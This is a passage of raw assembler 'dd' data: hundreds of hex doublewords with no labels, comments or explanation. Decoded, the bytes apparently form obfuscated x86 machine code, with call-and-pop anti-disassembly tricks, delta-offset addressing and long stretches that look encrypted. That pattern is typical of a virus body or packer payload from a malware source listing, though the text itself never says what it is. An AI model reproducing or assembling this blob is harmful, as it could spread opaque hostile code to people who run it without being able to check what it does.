		dd 61E2AE1h, 316985C7h,	61Eh, 85890000h, 61E020Dh, 21F99523h
		dd 0B5FF061Eh, 61E32E5h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 16h, 63C35040h, 95FFA238h,	61E16B9h, 5E9h
		dd 6CF76100h, 6AE18Ah, 26C195FFh, 0C08B061Eh, 17CF7FEBh
		dd 0F687D890h, 1D5A7E10h, 3C70C6Fh, 5094D5E0h, 0B4FC61D7h
		dd 7D067F2Dh, 6AF43A08h, 0BE9AF175h, 16E3349Bh,	0C4A46B13h
		dd 91DB79B2h, 5C53926Bh, 82608308h, 0D39824D0h,	178EFCD3h
		dd 34505B49h, 320B9406h, 0C839D8h, 114F137Ah, 7158A345h
		dd 0C6B93FB5h, 64F59C5Dh, 1A386BC7h, 0C8BE4970h, 11B0416Fh
		dd 0B1A1EBA0h, 3C903B05h, 0B5AB483h, 9B208348h,	0AD092846h
		dd 463877F4h, 288D8D7Fh, 8906248Ch, 1E0C2985h, 6E906h
		dd 24040000h, 0E42DC31Ch, 23758D89h, 6A061Eh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 85C791C3h
		dd 61E324Dh, 5CC8h, 2739B58Bh, 85C7061Eh, 61E3169h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 50C35343h
		dd 94561504h, 1AA09A9Bh, 99950908h, 8B061E2Bh, 1E196585h
		dd 15B5FF06h, 6A061E04h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0FDA5C352h,	5C4B77h
		dd 18F744Eh, 0CCDB589h,	95FF061Eh, 61E16B9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0EAC35040h, 8B66E088h
		dd 0FF006AD1h, 1E26C195h, 0EBC08B06h, 7B15831Eh, 0DD84B6A8h
		dd 0E7989813h, 0DA654353h, 2C2DBBE1h, 2E14FDF0h, 0FE24FEF4h
		dd 0E8C39AD4h, 12h, 5A8C8284h, 0C3AF073h, 0DCA64A20h, 8F18521Fh
		dd 0BD8B5FE5h, 61E0081h, 0C281F85Ah, 7403h, 3574B9F8h
		dd 0C1810C98h, 0F367E76Ah, 0BD891A8Bh, 61E0C9Dh, 87C2C381h
		dd 0C4806688h, 0F3F38162h, 810235CCh, 327C4EF3h, 61B53176h
		dd 53061E13h, 8E9h, 0C5DB600h, 5A0DA5CDh, 60028FCAh, 0F61C680h
		dd 8361CABFh, 0DF8104EAh, 13AB7C24h, 1E981h, 850F0000h
		dd 0FFFFFFB0h, 0D870Fh,	8E90000h, 0C5000000h, 6EDCC7BFh
		dd 8D5999A4h, 248DFD8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 32C4242Ch, 3BBC94Bh, 8960DD9Fh
		dd 1E23758Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 8BD1A0F7h, 996B760Eh, 0EE9h, 7F918700h
		dd 0AA87FC9Ah, 0C78002FEh, 0C77F02F7h, 1E324D85h, 712C06h
		dd 9D315200h, 61E2A39h,	6985C75Bh, 61E31h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 107BC351h, 0DD0F970Dh, 8E0FDE3Ch, 15h, 10E9h, 45F5FF00h
		dd 7DF7488Fh, 0C0AE5B4Fh, 0EBC5E79Ah, 91B5FFD4h, 6A061E29h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0B72BC351h, 11BD8BB1h, 0FF061E19h, 1E16B995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 9ECDA7A1h, 14CD858Bh, 6A061Eh, 26C195FFh
		dd 0C08B061Eh, 27611FEBh, 28CA9C5Ch, 549ED13Dh,	42809728h
		dd 4572A9C9h, 0FB0751C6h, 0D09D8A60h, 34961CE9h, 0C68D8DBCh
		dd 8906248Eh, 1E059D9Dh, 758D8906h, 6A061E23h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 136AC357h, 0E81CEC7Fh, 0Ch, 2BE5A300h, 0F55973F9h, 20E41E7Fh
		dd 5AD9B70Fh, 324D85C7h, 5924061Eh, 0E3810000h,	4066114Ah
		dd 316985C7h, 61Eh, 9D890000h, 61E01D1h, 327DB5FFh, 6A061Eh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0E42FF4C3h, 57863B23h, 0FF5F6EB9h, 1E16B995h, 298D0906h
		dd 6A061E2Bh, 0C195FF00h, 8B061E26h, 7E0EEBC0h,	0DE80A3ADh
		dd 77A06DECh, 6CD47814h, 7E851h, 48DA0000h, 0D8B71C58h
		dd 0B8D0FC4h, 60000000h, 89D2BF0Fh, 1E01898Dh, 1586106h
		dd 1E2DB585h, 4CC08106h, 8B000068h, 1E04298Dh, 6806h, 0B70F0000h
		dd 81665BF0h, 0FFB04AC9h, 5AF80334h, 12E9h, 72BFCA00h
		dd 6266718Bh, 66DC3FF2h, 189638A7h, 81163B93h, 0B0783CEAh
		dd 0B2C8BF77h, 0EA815968h, 4848F79Ah, 0FE9h, 9237AD00h
		dd 9A689087h, 34913AFFh, 0E7A637D1h, 0DC1BC281h, 95894AC4h
		dd 61E22D9h, 899D8952h,	8F061E1Bh, 0B5891804h, 61E0865h
		dd 15EDB58Bh, 0EB83061Eh, 0BE94B03h, 0CA000000h, 339D7F8Ah
		dd 0C11113C4h, 0FB81D293h, 0FFFF9898h, 16850Fh,	0BD8B0000h
		dd 61E2C65h, 21E9h, 8412CB00h, 941A6F9h, 4AD2DB64h, 0FFFF62E9h
		dd 67C2B0FFh, 0CDB2B0CCh, 0E2E3207Bh, 0B897909Ch, 8D8D6C58h
		dd 6249098h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	9C35040h, 0D300FD4h, 0F78B66B7h, 23758D89h, 6A061Eh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0EF42B6C3h, 1A8292E8h, 0BD09D872h, 61E161Dh,	324D85C7h
		dd 65F0061Eh, 0C7F50000h, 1E316985h, 6,	0D850F00h, 0E9000000h
		dd 8, 0D834125Bh, 2B7F681Bh, 3315B5FFh,	6A061Eh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 532820C3h, 0ADCDA452h, 0F9952960h, 0F061E0Ch, 6061C8BFh
		dd 26ED8D89h, 0CF80061Eh, 95FF61D0h, 61E16B9h, 7CDB8166h
		dd 0FF006A3Eh, 1E26C195h, 0EBC08B06h, 4939348h,	1C6E242Eh
		dd 160E6B0Dh, 0DA41B950h, 1B2CBE45h, 11729D8Ch,	54E1DD72h
		dd 0FB40F795h, 6837539Bh, 0F74023FBh, 0CD8E1285h, 1486E67Fh
		dd 10A3FDB9h, 41DD92A5h, 24A33116h, 7A88948Dh, 2D466CBh
		dd 4216E0EEh, 0E18D8D0Fh, 0E9062491h, 9, 0B318B6E4h, 53714E27h
		dd 31B58B25h, 89061E00h, 1E23758Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 8222A780h
		dd 0C754680Ah, 1E324D85h, 628006h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 4A3E2865h
		dd 605CAB74h, 0B58BF025h, 61E2D85h, 316985C7h, 61Eh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0D3F7EEC3h, 15B5FF20h, 6A061E15h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 8CA8C353h
		dd 5A579C78h, 16B995FFh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 3CB55CC3h, 5F391976h
		dd 1DA99529h, 6A061Eh, 26C195FFh, 0C08B061Eh, 13BE0BEBh
		dd 4A33DB73h, 0A9965BD7h, 10E8F1h, 48320000h, 0DF657620h
		dd 0D83D59ABh, 12A469AAh, 58F8E557h, 5A43C081h,	0E9810000h
		dd 123C5D1Ch, 0BAh, 0D2D58000h,	8B0234FFh, 1E2E8DBDh, 0CF8B5E06h
		dd 3FCDC681h, 8D896113h, 61E300Dh, 52D2EE81h, 0BB604D70h
		dd 1187335h, 75858960h,	66061E17h, 6161F78Bh, 335CC681h
		dd 0C88B0C18h, 23103489h, 1E2A798Dh, 85BF5006h,	5F134F21h
		dd 6604EA83h, 815361BBh, 0FFA670FAh, 1E850FFFh,	60000000h
		dd 0BFFA8B66h, 60780030h, 27E961h, 89DD0000h, 0C0F6B71Ah
		dd 0ACE36A92h, 52199199h, 0FF82E942h, 8A45FFFFh, 1331E6C0h
		dd 0D62B1CCCh, 874C36A1h, 29A01FFAh, 15FE95Ah, 8B520000h
		dd 0E860D4h, 5D000000h,	92BBED81h, 428B0624h, 38453D08h
		dd 850F7826h, 138h, 8B0C428Bh, 0C8D3184Ah, 0C14220BBh
		dd 83C33355h, 858904E8h, 61E2375h, 8B04588Bh, 10428BF8h
		dd 0D3184A8Bh, 6654BEC8h, 0C633D732h, 0E083C72Bh, 4E883FCh
		dd 324D8589h, 428B061Eh, 69858914h, 8B061E31h, 0E9531842h
		dd 0B0h, 32E5B5FFh, 0B9E9061Eh,	0FF000000h, 1E19CDB5h
		dd 0AEE906h, 0B5FF0000h, 61E3315h, 0A3E9h, 0CDB5FF00h
		dd 0E9061E0Dh, 98h, 2931B5FFh, 8DE9061Eh, 0FF000000h, 1E0EA9B5h
		dd 82E906h, 0B5FF0000h,	61E1F59h, 77E9h, 75B5FF00h, 0E9061E14h
		dd 6Ch,	415B5FFh, 61E9061Eh, 0FF000000h, 1E13E5B5h, 56E906h
		dd 0B5FF0000h, 61E1EB5h, 4BE9h,	15B5FF00h
		dd 0E9061E15h, 40h, 2D11B5FFh, 35E9061Eh, 0FF000000h, 1E2991B5h
		dd 2AE906h, 0B5FF0000h,	61E327Dh, 1FE9h, 0B1B5FF00h, 0E9061E31h
		dd 14h,	0BB8D88Bh, 66000000h, 8D8DE3F7h, 624931Ch, 0E1FFC803h
		dd 16B995FFh, 8B5B061Eh, 1E237585h, 4583906h, 0F850Fh
		dd 6A530000h, 0C195FF01h, 5B061E26h, 0FFFFE2E9h, 0C35A61FFh
		dd 6AB85A61h, 0FF77D4C9h, 0B9858BE0h, 8D061E2Bh, 24940A8Dh
		dd 1418906h, 85C6C38Bh,	61E2041h, 30DF6856h, 0B5FFA9C5h
		dd 61E3291h, 78D1858Dh,	0D0FF0621h, 1F998D8Dh, 6A51061Eh
		dd 41B5FF40h, 0FF061E22h, 1E02E5B5h, 0FFD0FF06h, 1E2241B5h
		dd 0E5B5FF06h, 0E8061E02h, 12h,	132FB9C6h, 0D10D52D2h
		dd 0C699FB4Eh, 30B4E1BDh, 5E5E5BB8h, 0C104EE83h, 0C102242Ch
		dd 3022424h, 1CF72434h,	6824h, 0FF5F0000h, 81593734h, 648254C1h
		dd 9BE9815Eh, 81418C2Eh, 4B705AE9h, 3E0C8976h, 0A79EEF81h
		dd 0C7811392h, 1392A79Ah, 0F243C3Bh, 0FFFFD285h, 0C99D8DFFh
		dd 8B061E31h, 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 0ABE9C98Bh
		dd 50000000h, 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh,	0F44592B3h
		dd 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh,	55207520h
		dd 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h,	0B599BD32h
		dd 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h
		dd 0F07B6B5Ch, 8A924Ah,	45F352D0h, 0A3F653F5h, 44D6D979h
		dd 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h
		dd 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h
		dd 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h
		dd 1E80097h, 3D94E7A6h,	630A8332h, 0CDE934ACh, 68000013h
		dd 6249770h, 0F9EA0AE9h, 989168FFh, 0E90624h, 68FFF9EAh
		dd 624997Ah, 0F9E9F6E9h, 9AF268FFh, 0ECE90624h,	68FFF9E9h
		dd 6249B85h, 0F9E9E2E9h, 9C3B68FFh, 0D8E90624h,	68FFF9E9h
		dd 6249D0Fh, 0F9E9CEE9h, 9DCD68FFh, 0C4E90624h,	68FFF9E9h
		dd 6249E71h, 0F9E9BAE9h, 9FC068FFh, 0B0E90624h,	68FFF9E9h
		dd 624A0A5h, 0F9E9A6E9h, 0A25168FFh, 9CE90624h,	68FFF9E9h
		dd 624A377h, 0F9E992E9h, 0A5CD68FFh, 88E90624h,	68FFF9E9h
		dd 624A6CBh, 0F9E97EE9h, 4B152FFh, 2DF4748Fh, 5A1B9DB8h
		dd 8223CAE5h, 0A84DF20Dh, 0F500F233h, 1D38AD70h, 4863D885h
		dd 738E03A6h, 0BCBC31F0h, 68DA0A20h, 0C77C3F49h, 27D27089h
		dd 0F073C078h, 77FA1331h, 0D343A1B7h, 0CE133924h, 8704C5A7h
		dd 0E94573D5h, 1E00AF22h, 0CE43E285h, 0F7D746F3h, 2DAF73CFh
		dd 0E7FD1331h, 6F3925D0h, 0CFE5032Ah, 3F43EE8Ah, 3DBBD40Ch
		dd 0B36C7874h, 0A5EA3307h, 1F3D82F6h, 0D9D37188h, 58076B39h
		dd 8500E076h, 0FAC3307h, 0AAC0F8C9h, 3307853Ah,	6C28D71Ch
		dd 87E31E6Eh, 2F27h, 86B37100h,	4CB9CFEDh, 4C3F42FEh, 0A7EAFA10h
		dd 0D16C3306h, 78D4AEA6h, 0A0C7EEE8h, 0E7B828BEh, 57F43305h
		dd 0BFA4A211h, 0D15D87E4h, 0A7000000h, 1331F073h, 0D1B372FAh
		dd 0C77F6110h, 0B56409AEh, 8A6C31B6h, 0C5A74EF1h, 73E8892Ch
		dd 0D59C2039h, 878332F3h, 3924D652h, 321C063h, 24C746EAh
		dd 0B3DA9B7Dh, 0EC6110D1h, 0EAF2ED1h, 962446Bh,	0F254330h
		dd 3F42DBBAh, 0D1AC2166h, 0D7ED0B68h, 39276E43h, 9E44E47Fh
		dd 4B2B8554h, 2305AC4Ch, 41D3B62h, 2E49BE63h, 75760C89h
		dd 17CD825Dh, 0FF264D15h, 2C88973Dh, 0B1393BECh, 1129h
		dd 4EC37E03h, 77ECB533h, 0A419D85Ch, 0CE43E289h, 0FA6F32B3h
		dd 3BBCC7B9h, 5CE60176h, 6D112CA1h, 0B53853C8h,	0DB7777ECh
		dd 496A1FC5h, 0AA82373Fh, 2238F273h, 3924D2C2h,	33F67794h
		dd 3670E50Ch, 25D4991Dh, 0C4E28326h, 886A17ABh,	0CFA318C7h
		dd 961586B3h, 528AA8CFh, 981BB239h, 0F36F7D9h, 58EE3092h
		dd 0C271F4EFh, 43363FC6h, 0F614593Fh, 0EC9B5ADDh, 0DF6C740Ah
		dd 0D4573306h, 0EA922B0Dh, 0E8E5694Bh, 15B2C8A2h, 0C76260CFh
		dd 0D61B87E3h, 65000000h, 4F31F073h, 4E6C31B6h,	0D2E40016h
		dd 2D723924h, 0D3069C7Eh, 0E23924D6h, 621965Fh,	87E0C263h
		dd 6BA3C1B2h, 24CE8F55h, 6482C739h, 24CE964Eh, 0CC7BC039h
		dd 283E76AEh, 3924CEBCh, 9C485E9Ah, 0BA3924CEh,	1A304E75h
		dd 3924CECAh, 9C98478Ch, 3F42DC2Dh, 5E39AEF3h, 627896DBh
		dd 39276BA7h, 7D96B4F9h, 86C035F8h, 19AC384Eh, 65AA2CE6h
		dd 9B36B7B6h, 0BB73551Ch, 0E61A3FA5h, 0ABD2172Ch, 924C284h
		dd 9EA0EC2Ch, 100816h, 9441E200h, 0BD64041Fh, 0EA8B2D48h
		dd 12D35A75h, 38FD829Dh, 859082C3h, 0ADC83DE0h,	0D8F36815h
		dd 31E9356h, 4C4CC160h,	6B4A9AB0h, 570C3F49h, 61C547Fh
		dd 3924D2DEh, 85843378h, 1FC665E0h, 0E0557C3Dh,	0E8322C5h
		dd 4FBD543Ah, 0A22BFF40h, 941716C5h, 0A694C277h, 0F2E4611Ch
		dd 0AB8DB4F8h, 51C66F12h, 11F3B236h, 0E2CF578h,	0A6BC72F5h
		dd 3924D53Eh, 0CAACD318h, 0ABE55A09h, 9948ED92h, 59E087FFh
		dd 3DE4FA18h, 0E93F42F5h, 0D6852CD0h, 3A24562h,	0D22E0A21h
		dd 19B8D396h, 5BF1CBF2h, 2A902886h, 0A763BA7Fh,	0D15F325h
		dd 4056749Bh, 41998D05h, 97B0CE13h, 0AD6E5011h,	76C31CFEh
		dd 0D2E88625h, 355D3812h, 0F6D8FF44h, 0DAF00E35h, 3B7EB0D7h
		dd 9DB6D419h, 0CBE65B1Ah, 19C78928h, 0A5EE81AEh, 0F1F1BA3h
		dd 68F90000h, 9F1D38ADh, 0A24661D6h, 0F4738E03h, 189DB82Dh
		dd 0AD9FE055h, 0E3581DA2h, 0A7F3AC8h, 35AA4FEFh, 59CE971Ah
		dd 3DA7BD59h, 193F496Ch, 0BD548C64h, 2137FDAAh,	392550C3h
		dd 0C7D14E93h, 6C788EE1h, 0EA39255Dh, 3A017EA5h, 0F56EA040h
		dd 0FF828130h, 0DC81263Fh, 254704E0h, 0E60D5239h, 0B5334C04h
		dd 0BB7E3DECh, 2F8298B6h, 0C13F4349h, 0D2C077Ch, 0F80E4664h
		dd 330743ECh, 7AE4D6Ah,	8E3D6425h, 831F3870h, 0E07C7880h
		dd 91B863F6h, 433FEEAFh, 392588CAh, 627B99DEh, 886A19DCh
		dd 0E926EEF2h, 0DB21BE2Ch, 1806E6Ch, 3E278Eh, 0B3710000h
		dd 0B9CFED86h, 3F431FDFh, 763FC2DFh, 4356D394h,	0F271B396h
		dd 0AAE20027h, 5B1D2F13h, 6B53523h, 4DC26707h, 0AE77FA13h
		dd 98DF03FFh, 45E83306h, 6A0C279Ch, 325DE5C7h, 2B00000Eh
		dd 0CFED86B3h, 4968A1B9h, 0A6BFF73Fh, 7E666203h, 0D833003Dh
		dd 2B70E493h, 0BC6EF40Dh, 3E3EA6h, 0ACD31833h, 23C6DFFDh
		dd 7E6005AAh, 62196BDh,	87E0C263h, 8DA3C1B2h, 3924D22Eh
		dd 0F0FA3BD6h, 8A15E58h, 9D9CC366h, 0B8795B1Ah,	33B7391h
		dd 9F17236Ch, 6D697F87h, 2CDB0B77h, 0ECEB9ADFh,	1833A849h
		dd 95AECC95h, 0D82BFA0Dh, 7A3AA68Bh, 69C2A453h,	6F85A3D0h
		dd 32F91032h, 5B97599Eh, 0A3E602D8h, 0DA719A1h,	0E0810000h
		dd 7A5C035h, 2ACEE95Eh,	7CFB168Bh, 802540B5h, 352768DDh
		dd 6BE0852Ah, 9207B250h, 0BD32F777h, 0E1561FA2h, 0B52F45E1h
		dd 0A13F496Ch, 3B5414ECh, 4A79F6BBh, 0C3698088h, 845C5807h
		dd 7F392583h, 859BB9BAh, 3F4A183Eh, 20CB952Ch, 9BE0041Ah
		dd 31763301h, 2F25B9B4h, 48EF0C80h, 5EC12CA9h, 0C3BAFDD1h
		dd 0C2657E9Ch, 1093AE23h, 20B76F51h, 85BF349Bh,	22DF6391h
		dd 0AC8D4CFBh, 1E93A9C7h, 0D2391FA0h, 8A41CB8Dh, 8B8DEC29h
		dd 0D1403h, 0A855EE00h,	0D1901833h, 0F6BF415Ch,	1EC76681h
		dd 44E98EA9h
		dd 919C8ECFh, 0B9D449ECh, 0DCF76C29h, 722975Ah,	4848BD64h
		dd 6E4E96ACh, 53083F49h, 31F0737Bh, 9A33B64Fh, 0AC6D4F16h
		dd 0D26C788Eh, 0A5EA3924h, 15169C7Eh, 0D06260CFh, 71B81C5h
		dd 65000007h, 0CFED86B3h, 496817B9h, 0B4D2173Fh, 74561B9Bh
		dd 0CDE604B3h, 0DC168B2Ah, 46EB8BA4h, 3D9A4Ah, 0C877BC33h
		dd 6A726C9h, 99C08163h,	3DBF21B7h, 0F5443300h, 3D756F85h
		dd 9CE13300h, 881F5775h, 48E815A0h, 2B27D6BEh, 391E2486h
		dd 0D98529C0h, 0E2ECBEC5h, 0B87ABF33h, 0EC282B46h, 5E0C9496h
		dd 3800000Ch, 5E79EEABh, 87A217DEh, 0ACC73CE5h,	0D4EF640Dh
		dd 0D8198E53h, 975ADBE6h, 0BE7B0722h, 0E5882E49h, 13D25570h
		dd 0EC029E9Eh, 3F496EF8h, 73D1A95Eh, 7C1331F0h,	205211D6h
		dd 0DEF9EE8h, 4E30F174h, 1A9B32B5h, 0B54E3057h,	2A8C6E37h
		dd 1D09E329h, 6967D61Ch, 2281C59Bh, 646h, 0A548ED06h, 9B5302C3h
		dd 24D26A76h, 0DCA09939h, 24D31EC6h, 0E6FC3839h, 3924D2FEh
		dd 0C5EC1358h, 687F91A7h, 0EE853F49h, 0B3C9A3B9h, 72FAF9D8h
		dd 6110D1B3h, 1798B1EDh, 0DB8E5652h, 83C832FFh,	8FA73E5Ch
		dd 2417BBA7h, 839CBA69h, 0B1CC41E0h, 4AEF8F0Eh,	51E84123h
		dd 0B4CA0220h, 3300AC30h, 1432E126h, 1EAEB3FEh,	36F83D39h
		dd 0EC289862h, 8AE46C6Eh, 6400000Bh, 92AD22DFh,	0BBD64BEAh
		dd 0E8037839h, 102BA041h, 1455CA6Fh, 0D3961722h, 2BF435Eh
		dd 29CC728Dh, 4F1699B4h, 283EDADAh, 3F496FBCh, 730DE59Ah
		dd 0B64F31F0h, 0A907233h, 5654C309h, 0F81C5D0h,	58Ah, 8D48DAF3h
		dd 833BEAABh, 9EBD3B54h, 3F138F53h, 785A81EFh, 0F04908B7h
		dd 142D6583h, 9AB0CE93h, 3925034Ah, 1C18C70Ch, 3F499809h
		dd 677D93CFh, 0EF33006Dh, 4C6583AAh, 0D1EA08A9h, 9A28431h
		dd 0ED9CC362h, 0D5A73E78h, 5C0C8543h, 9F2221D0h, 825EF4D6h
		dd 81330070h, 0A545E3B8h, 70558Fh, 95BC0133h, 773A506Eh
		dd 79391E72h, 5C387234h, 3234EC28h, 0ACCAAh, 601DA600h
		dd 8928D0EBh, 0AE77F914h, 0D69F1E39h, 0FCA14661h, 49544687h
		dd 718C01A4h, 94AF24D1h, 0BFDA4F12h, 753Ch, 6F964E64h
		dd 0BC03F49h, 59F07333h, 8EA11D4h, 4325CC6Fh, 7F6104AAh
		dd 0BFA15CE6h, 10EA3051h, 6EDD2324h, 81C5D070h,	4BD29h
		dd 6F767300h, 9E3924D2h, 80B8D69Bh, 3C1EDB67h, 0D2766E84h
		dd 9BE03924h, 39C9C574h, 593F4968h, 0D7B277BEh,	0D7FEBC42h
		dd 541DA0B9h, 8021C4DFh, 0E94FE69Eh, 0CCFD11BCh, 0E45514C3h
		dd 0C25B718Fh, 6391E73h, 5BA5FFC1h, 0A7A9EC28h,	0A281Fh
		dd 0B4610200h, 0DD84243Fh, 0AAB4D68h, 32F37A95h, 581DA2BDh
		dd 0A5B0A2E3h, 0CDE85D00h, 0F8138835h, 233EB376h, 6C6CE180h
		dd 712ABAD0h, 772C3F49h, 0BA3B549Fh, 0B2D9981Fh, 0C0610403h
		dd 6F8F26DEh, 80647A8Eh, 0D6392521h, 991A1491h,	4BEEED9Ch
		dd 4447C8AAh, 8A94CFEh,	90BDBB93h, 0E70081C5h, 45ED9C45h
		dd 12Fh, 31F0738Fh, 7233B64Fh, 2AAC3FDh, 44F5B463h, 5EFB112Fh
		dd 383F42F0h, 216939A1h, 4BFAD2B6h, 1AB092D7h, 330626C6h
		dd 6076AEE6h, 33062684h, 596F8DD2h, 3306268Bh, 54D786CBh
		dd 7CA19F0Eh, 335A87E4h, 0A4000000h, 0A685BD54h, 91A9CBC5h
		dd 5D1623E2h, 0B9CF073Fh, 3925062Bh, 3B37E62Bh,	3F4330CAh
		dd 11A789CEh, 3306DACFh, 8BFA40DDh, 87E3CC8Dh, 0A846h
		dd 0F0739000h, 31B64F31h, 0B9D28A6Ch, 0CE8F7134h, 0D49D201Fh
		dd 0FD659F2h, 9356D8F1h, 0CC41F0B1h, 24FE35B4h,	0FE1DA039h
		dd 0FD1FFFEFh, 178CB385h, 5674FD3Ch, 7AC5871Eh,	0A2FF1E15h
		dd 3890F7F3h, 0C70C3F45h, 895B71A9h, 0CD3303E4h, 40E58988h
		dd 0D0EE9D5Eh, 0FE7336B7h, 6A6A2DC4h, 84E8BAD8h, 8C51D6D5h
		dd 4A3BECCAh, 4ED6D8F2h, 8D9h, 0FE732EB3h, 279C45E3h, 54C9680Ch
		dd 7EF3B239h, 0AA1FC263h, 0CB6C7769h, 0C96B126h, 3DC1DC51h
		dd 45E80378h, 8B27279Ch, 49716F75h, 5A32E73Fh, 0BA2FF273h
		dd 0E0551C9Fh, 31F0730Ch, 7233B64Fh, 2D8F3FDh, 54C10000h
		dd 18FAA73Bh, 0C1233957h, 953924D2h, 57E2A150h,	0D2D70D23h
		dd 6EF43924h, 0D3FA3FB3h, 8AE67DB5h, 413BBA04h,	0A7C6C271h
		dd 0C13F4336h, 0DC049A7Ch, 0D03306DFh, 807EED33h, 3987E3C7h
		dd 277h, 0E861041Dh, 0FEBFA140h, 41A3B9D7h, 153306D4h
		dd 766921D0h, 3924D271h, 0BAD899A0h, 496864A4h,	0D7F53A3Fh
		dd 0BC865C40h, 0DA895337h, 6100A3BCh, 872ED1ECh, 8A95069h
		dd 0D4B66526h, 97B5BE7Bh, 1EBD9C81h, 344A8239h,	2CE2B6B0h
		dd 3EB261A6h, 0A67937F9h, 4345EC28h, 7F4BBh, 8835CE00h
		dd 0B170F813h, 0D69F213Ch, 0FEA74661h, 24C96E89h, 717C6EAFh
		dd 99B429CCh, 0BCD74C09h, 0E702773Ah, 28289D44h, 726E768Ch
		dd 33E83F49h, 59F0735Bh, 6D1211D4h, 0EC83A1C8h,	5976924Ah
		dd 8E701F3Fh, 0D1B372F5h, 55074D50h, 65031CD2h,	0D024C0BCh
		dd 0ED323925h, 7B7951C6h, 3481C4D7h, 1B7h, 1ACAE018h, 3C3925C4h
		dd 549048F7h, 7CA9CEBDh, 748A50BFh, 39256470h, 0CB7AA1E6h
		dd 0A68829CCh, 56CB6A0Dh, 97B5BE7Bh, 0FEA7465Fh, 8206534Fh
		dd 0F53A3F43h, 0BD425B13h, 0F2D49D20h, 67280A31h, 4724BCB8h
		dd 0EB883307h, 5C3836A5h, 3DF187E3h, 3B000000h,	0CFED86B3h
		dd 42FE4CB9h, 25074C3Fh, 6A7518Fh, 8C235B33h, 1685E705h
		dd 0B77E02BAh, 0EEED14D5h, 7C8AA4Bh, 0BE8FD558h, 4C747086h
		dd 9DE23306h, 5A3432EEh, 0DED87E4h, 37000001h, 4F31F073h
		dd 4E6C31B6h, 0D2E40016h, 2D723924h, 60039C7Eh,	0E27DFC1h
		dd 26E7C974h, 54F57877h, 692A0CD5h, 6A0B2442h, 624E5C7h
		dd 24D2F4F0h, 6E1D6239h, 2518E1F9h, 5ADD3925h, 748A20C3h
		dd 39248070h, 0FD7AA1E6h, 6C071DA7h, 980D34C0h,	0D9F77CBDh
		dd 4529C4C3h, 0E0F62E3Fh, 3303D704h, 0D75292A8h, 0BF043303h
		dd 6107064Bh, 6E1DDEC0h, 5F97B5FAh, 0CF699027h,	0B3542D11h
		dd 3D82DB7h, 5B8E2933h,	5F87AB6Fh, 4443F219h, 4F89FEA3h
		dd 8B17B636h, 42BECCEh,	0B3B26122h, 0C38D1932h,	0A143DBFDh
		dd 7776D83h, 9ADF3304h,	0F711B173h, 0DBDDF249h,	64853h
		dd 0D4812200h, 0FDA4445Fh, 2ACB6D88h, 52139AB5h, 783DC2DDh
		dd 0C5D0C203h, 0ED087D20h, 1833A855h, 435ED396h, 8C8C01A0h
		dd 750ADAF0h, 974C3F49h, 2FF273BFh, 8BA1D911h, 3924D259h
		dd 28BCB8FDh, 2E3924D3h, 0D308DCF2h, 94E3924h, 0A3BE33E2h
		dd 18EC6100h, 4F31F073h, 0FD7233B6h, 6618AAC3h,	24D29450h
		dd 567DC239h, 20B9A7h, 73870000h, 0B64F31F0h, 0C907233h
		dd 9417C90Fh, 0E61E58CDh, 24D314D0h, 4EFD4239h,	2160h
		dd 3B542E00h, 4948F7BAh, 871DFFA6h, 3924D25Ah, 491A60E3h
		dd 0D2E9FB11h, 286D3924h, 2EF77A79h, 0BD54E5B9h, 3563F423h
		dd 0F6EE047Ch, 603924DEh, 0C0D6F41Bh, 3924DF24h, 3F3EED32h
		dd 0BA13F5BCh, 0BED4F27Fh, 3F49749Ch, 0B4361A6h, 0D1717174h
		dd 3D980D72h, 34341D63h, 0B3B26188h, 0E1FC7130h, 5CB5975Eh
		dd 607694DDh, 39255C5Bh, 2D4664A9h, 6DEF48Ah, 502CDC33h
		dd 0ADC6E40Bh, 47BC6B0Ah, 6E8892Ch, 0C9E78CADh,	0FA46EEB3h
		dd 0DB9DE232h, 0E6040B81h, 22C34B4Dh, 0FC000005h, 2A45BA67h
		dd 536EE382h, 809B10D1h, 0A8C338F9h, 0ACED6207h, 6B0EAFBAh
		dd 9A47DBF6h, 0C1640A25h
		dd 0E78E314Ch, 0C0D67272h, 3F497624h, 73A57D32h, 7C1331F0h
